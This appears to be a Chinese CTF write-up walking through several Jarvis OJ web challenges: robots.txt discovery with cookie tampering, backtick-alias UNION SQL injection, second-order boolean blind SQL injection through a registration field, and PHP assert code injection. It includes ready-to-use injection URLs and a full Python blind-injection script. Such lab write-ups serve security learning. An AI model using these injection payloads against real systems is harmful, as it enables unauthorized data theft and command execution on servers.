41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219, 89, 212], [164, 228, 5, 133, 175, 164, 37, 176, 94, 232, 82, 0, 47, 212, 107, 111, 97, 153, 119, 85, 147, 256, 130, 248, 235], [221, 178, 50, 49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215, 204, 141, 226, 118, 233, 156], [236, 142, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112, 217, 194, 114, 221, 150, 51, 136, 31, 198]])
t = solve(o, r)
flag = ''
for x in t:
flag += chr(int(round(x)))
print(flag)

得到 flag:QWB{R3ac7_1s_interesting}

admin

http://web.jarvisoj.com:32792/
打开后没什么东西,用自己写的扫描工具扫一下,发现 robots.txt。

Robots 协议(也称为爬虫协议、机器人协议等)的全称是“网络爬虫排除标准”(Robots Exclusion Protocol),网站通过 Robots 协议告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取。

打开后,Disallow: /admin_s3cr3t.php。访问该 php,显示 flag{hello guest},肯定没完,检查 cookie 发现 admin=0,改为 1 得到 flag:flag{hello_admin~}

inject

http://web.jarvisoj.com:32794/

1
Hint1: 先找到源码再说吧~

进去没什么东西,那就扫描一下,扫出来 config.php 和 index.php~。 config.php 也没什么东西,index.php~ 如下:

1
2
3
4
5
6
7
8
9
<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>

结论如下:

  1. 通过 get 传参得到变量 table。
  2. SQL语句 desc `secret_{$table}` 必须执行成功。这里要注意反引号,mysql 中一般用反引号包围表名、字段名等来强调这是表名、字段名。desc `Test` `t`的作用是输出Test表的详细信息,并且将 t 作为 Test 表的别名。
  3. 利用 select 'flag{xxx}' from secret_{$table} 语句注入。

因此 table 可以构造成:test` `union select database(),这样 desc `secret_{$table} 语句变成了 desc `secret_test` `union select database()`,就是给 secret_test 起了个后面一长串的别名,可以执行成功。然后 select 'flag{xxx}' from secret_{$table} 语句变成了 select 'flag{xxx}' from secret_test` `union select database(),就是给 secret_test 起了个空格的别名然后联合查询。这样就可以注入了。

这里只能显示第一行的值,但又不知道 test 表的行数,所以用 limit 逐个测试下,报错会显示 D,发现只有一行。

获取数据库名:

1
http://web.jarvisoj.com:32794/index.php?table=test` `union select database()limit 1,1

得到数据库:61d300。获取表名:

1
http://web.jarvisoj.com:32794/index.php?table=test` `union select group_concat(table_name)from information_schema.tables where table_schema=database() limit 1,1

得到两张表:secret_flag, secret_test。获取secret_flag的字段名,这里过滤了单引号,所以用16进制绕过:

1
http://web.jarvisoj.com:32794/index.php?table=test` `union select group_concat(column_name)from information_schema.columns where table_name=0x7365637265745F666C6167 limit 1,1

得到secret_flag的字段名:flagUwillNeverKnow,获取字段的值:

1
http://web.jarvisoj.com:32794/index.php?table=test` `union select group_concat(flagUwillNeverKnow)from secret_flag limit 1,1

得到 flag:flag{luckyGame~}

register

http://web.jarvisoj.com:32796/

1
2
Hint1: 二次注入
Hint2: register 二次注入在country

先在登陆界面初步尝试,无论输入什么只会提示用户名或密码错误,不知过滤了什么,无法进行简单注入和布尔盲注,而且 information_schema、sleep、benchmark、正则匹配也都被 ban 了,也没法进行时间盲注。
来到 register.php 注册页面。可以选择 country 国家,当然国家可以抓包后任意修改。注册页面也没有发现注入点。只能根据提示进行二次注入。
先随便注册一个账号进去看看,进去后页面花里胡哨。提示 country 存在注入,因此换了几个不同国家和随意字符串的 country 尝试,在 userinfo 界面发现 date 字段会发生较大变化,猜测服务器是从数据库里读取 country 以及对应的时区。语句可能为:select GMT from word_time where country='$country'。测试下 country 的注入语句发现:

1
2
country='or(1=1)#    2019-05-10 02:28:05
country='or(1=2)# 2019-05-09 18:30:04

此时的时间为 2 点 28 分,因此 GMT 的初值应该为 0,找不到国家对应的时区 date 就为格林威治时间,即北京时间 -8 小时,而 China 应该是数据库的第一条记录,因此与我这边的时间相同。这与注册时国家的顺序一致,都对上了,猜得没错。

但 information_schema 被 ban,应该就要猜表名了,表名很容易猜到就是 users。到这里就没有什么难度了,剩下的就是简单的基于布尔型的盲注。直接上脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import requests
import re

payload = "'or(ascii(substr((select(group_concat(a))from(select 1,2,3`a`,4,5 union(select*from`users`))b)from({0})))<{1})#"

url = 'http://web.jarvisoj.com:32796/'
base = '1000'
for i in range(1, 100):
# 字符集ascii从32到126
low = 32
high = 126
while low <= high:
mid = (low + high) // 2
r = requests.Session()
username = 'Nonuple' + base + ('%02d' % i) + str(mid)
data = {
'username': username,
'password': 'admin',
'address': 'whatever',
'country': payload2.format(i, mid)
}
r.post(url=url+'register.php', data=data)
data = {
'username': username,
'password': 'admin'
}
r.post(url=url+'login.php', data=data)
req = r.get(url=url+'index.php?page=info')
req.encoding = 'utf-8'
if re.findall('2019-05-09', req.text) != []:
low = mid + 1
elif re.findall('2019-05-10', req.text) != []:
high = mid - 1
else:
print('Error!')
print(req.text)
exit()
# 假如结果为 low-1,则已完成
if high == 31:
break
print(chr(high), end='')
print('\n')

最终得到密码为:9a73fd18fedd9643357ffe20b9d974e4,md5 解码后为 CleverBoy。然后用 admin 登陆,在 manage 界面看到 flag:flag{URst0rong}

babyphp

http://web.jarvisoj.com:32798/
说用到了 git,那就猜测是 git 泄露了,用 GitHacker 恢复出 index.php:

1
2
3
4
5
6
7
8
9
10
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

assert 函数很危险,原型为:

1
bool assert ( mixed $assertion [, string $description ] )

当 assertion 为字符串时,php 会当作代码去执行。因此也被用来做一句话木马。
之前的 git 泄露时还发现 templates 目录下有个 flag.php,读取该文件:

1
http://web.jarvisoj.com:32798/?page='.system("cat templates/flag.php").'

得到 flag:61dctf{8e_careful_when_us1ng_ass4rt}

babyxss

http://web.jarvisoj.com:32800/

1
Hint1: csp bypass